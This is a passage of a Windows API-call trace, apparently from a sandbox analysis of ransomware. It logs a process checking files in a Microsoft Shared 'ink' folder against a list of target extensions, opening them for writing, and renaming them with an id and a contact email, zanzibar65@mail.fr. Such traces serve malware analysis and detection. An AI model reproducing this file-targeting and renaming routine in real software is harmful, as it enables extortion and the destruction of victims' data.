lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.217] lstrlenW (lpString=".rar") returned 4 [0267.217] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.218] lstrlenW (lpString=".bz2") returned 4 [0267.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.218] lstrlenW (lpString=".7z") returned 3 [0267.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.218] lstrlenW (lpString=".dbf") returned 4 [0267.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.218] lstrlenW (lpString=".1cd") returned 4 [0267.218] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0267.218] lstrlenW (lpString=".jpg") returned 4 [0267.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.218] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.218] lstrlenW (lpString="InkDiv.dll") returned 10 [0267.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.218] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=353280) returned 1 [0267.218] CloseHandle (hObject=0x2f0) returned 1 [0267.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0267.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.219] lstrlenW (lpString=".doc") returned 4 [0267.219] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString=".docx") returned 5 [0267.219] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0267.219] lstrlenW (lpString=".pdf") returned 4 [0267.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString=".xls") returned 4 [0267.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString=".xlsx") returned 5 [0267.219] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0267.219] lstrlenW (lpString=".ppt") returned 4 [0267.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.219] lstrlenW (lpString=".zip") returned 4 [0267.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString=".rar") returned 4 [0267.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.219] lstrlenW (lpString=".bz2") returned 4 [0267.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.219] lstrlenW (lpString=".7z") returned 3 [0267.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".dbf") returned 4 [0267.220] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".1cd") returned 4 [0267.220] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".jpg") returned 4 [0267.220] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".doc") returned 4 [0267.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString=".docx") returned 5 [0267.220] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0267.220] lstrlenW (lpString=".pdf") returned 4 [0267.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString=".xls") returned 4 [0267.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString=".xlsx") returned 5 [0267.220] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0267.220] lstrlenW (lpString=".ppt") returned 4 [0267.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".zip") returned 4 [0267.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString=".rar") returned 4 [0267.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.220] lstrlenW (lpString=".bz2") returned 4 [0267.220] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.220] lstrlenW (lpString=".7z") returned 3 [0267.220] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.220] lstrlenW (lpString=".dbf") returned 4 [0267.220] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.221] lstrlenW (lpString=".1cd") returned 4 [0267.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0267.221] lstrlenW (lpString=".jpg") returned 4 [0267.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.221] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.221] lstrlenW (lpString="InkObj.dll") returned 10 [0267.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.221] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=2103296) returned 1 [0267.221] CloseHandle (hObject=0x2f0) returned 1 [0267.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0267.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.221] lstrlenW (lpString=".doc") returned 4 [0267.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.221] lstrlenW (lpString=".docx") returned 5 [0267.221] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0267.221] lstrlenW (lpString=".pdf") returned 4 [0267.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString=".xls") returned 4 [0267.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString=".xlsx") returned 5 [0267.222] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0267.222] lstrlenW (lpString=".ppt") returned 4 [0267.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString=".zip") returned 4 [0267.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString=".rar") returned 4 [0267.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString=".bz2") returned 4 [0267.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.222] lstrlenW (lpString=".7z") returned 3 [0267.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString=".dbf") returned 4 [0267.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString=".1cd") returned 4 [0267.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString=".jpg") returned 4 [0267.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.222] lstrlenW (lpString=".doc") returned 4 [0267.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.222] lstrlenW (lpString=".docx") returned 5 [0267.222] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0267.222] lstrlenW (lpString=".pdf") returned 4 [0267.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.223] lstrlenW (lpString=".xls") returned 4 [0267.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.223] lstrlenW (lpString=".xlsx") returned 5 [0267.223] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0267.223] lstrlenW (lpString=".ppt") returned 4 [0267.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.223] lstrlenW (lpString=".zip") returned 4 [0267.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.223] lstrlenW (lpString=".rar") returned 4 [0267.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.223] lstrlenW (lpString=".bz2") returned 4 [0267.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.223] lstrlenW (lpString=".7z") returned 3 [0267.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.223] lstrlenW (lpString=".dbf") returned 4 [0267.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.223] lstrlenW (lpString=".1cd") returned 4 [0267.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0267.223] lstrlenW (lpString=".jpg") returned 4 [0267.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.223] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0267.223] lstrlenW (lpString="InkWatson.exe") returned 13 [0267.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.282] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=397312) returned 1 [0267.289] CloseHandle (hObject=0x2f0) returned 1 [0267.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0267.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.291] lstrlenW (lpString=".doc") returned 4 [0267.291] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0267.291] lstrlenW (lpString=".docx") returned 5 [0267.292] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0267.292] lstrlenW (lpString=".pdf") returned 4 [0267.292] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString=".xls") returned 4 [0267.292] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString=".xlsx") returned 5 [0267.292] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0267.292] lstrlenW (lpString=".ppt") returned 4 [0267.292] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString=".zip") returned 4 [0267.292] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString=".rar") returned 4 [0267.292] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString=".bz2") returned 4 [0267.292] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0267.292] lstrlenW (lpString=".7z") returned 3 [0267.292] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString=".dbf") returned 4 [0267.292] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString=".1cd") returned 4 [0267.292] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString=".jpg") returned 4 [0267.292] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.292] lstrlenW (lpString=".doc") returned 4 [0267.292] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0267.292] lstrlenW (lpString=".docx") returned 5 [0267.292] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0267.293] lstrlenW (lpString=".pdf") returned 4 [0267.293] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0267.293] lstrlenW (lpString=".xls") returned 4 [0267.293] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0267.293] lstrlenW (lpString=".xlsx") returned 5 [0267.293] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0267.293] lstrlenW (lpString=".ppt") returned 4 [0267.293] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0267.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.293] lstrlenW (lpString=".zip") returned 4 [0267.293] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0267.293] lstrlenW (lpString=".rar") returned 4 [0267.293] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0267.293] lstrlenW (lpString=".bz2") returned 4 [0267.293] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0267.293] lstrlenW (lpString=".7z") returned 3 [0267.293] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0267.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.293] lstrlenW (lpString=".dbf") returned 4 [0267.293] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0267.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.293] lstrlenW (lpString=".1cd") returned 4 [0267.293] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0267.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0267.293] lstrlenW (lpString=".jpg") returned 4 [0267.293] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0267.293] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.293] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.294] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=3584) returned 1 [0267.294] CloseHandle (hObject=0x2f0) returned 1 [0267.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0267.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.294] lstrlenW (lpString=".doc") returned 4 [0267.294] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString=".docx") returned 5 [0267.295] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.295] lstrlenW (lpString=".pdf") returned 4 [0267.295] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.295] lstrlenW (lpString=".xls") returned 4 [0267.295] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.295] lstrlenW (lpString=".xlsx") returned 5 [0267.295] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.295] lstrlenW (lpString=".ppt") returned 4 [0267.295] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString=".zip") returned 4 [0267.295] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.295] lstrlenW (lpString=".rar") returned 4 [0267.295] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.295] lstrlenW (lpString=".bz2") returned 4 [0267.295] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString=".7z") returned 3 [0267.295] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString=".dbf") returned 4 [0267.295] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString=".1cd") returned 4 [0267.295] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString=".jpg") returned 4 [0267.295] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.295] lstrlenW (lpString=".doc") returned 4 [0267.295] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.295] lstrlenW (lpString=".docx") returned 5 [0267.296] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.296] lstrlenW (lpString=".pdf") returned 4 [0267.296] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.296] lstrlenW (lpString=".xls") returned 4 [0267.296] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.296] lstrlenW (lpString=".xlsx") returned 5 [0267.296] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.296] lstrlenW (lpString=".ppt") returned 4 [0267.296] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.296] lstrlenW (lpString=".zip") returned 4 [0267.296] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.296] lstrlenW (lpString=".rar") returned 4 [0267.296] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.296] lstrlenW (lpString=".bz2") returned 4 [0267.296] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.296] lstrlenW (lpString=".7z") returned 3 [0267.296] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.296] lstrlenW (lpString=".dbf") returned 4 [0267.296] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.296] lstrlenW (lpString=".1cd") returned 4 [0267.296] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0267.296] lstrlenW (lpString=".jpg") returned 4 [0267.296] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.296] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.296] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.298] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=3584) returned 1 [0267.298] CloseHandle (hObject=0x2f0) returned 1 [0267.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0267.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0267.299] lstrlenW (lpString=".doc") returned 4 [0267.299] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.299] lstrlenW (lpString=".docx") returned 5 [0267.299] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.299] lstrlenW (lpString=".pdf") returned 4 [0267.299] lstrcmpiW 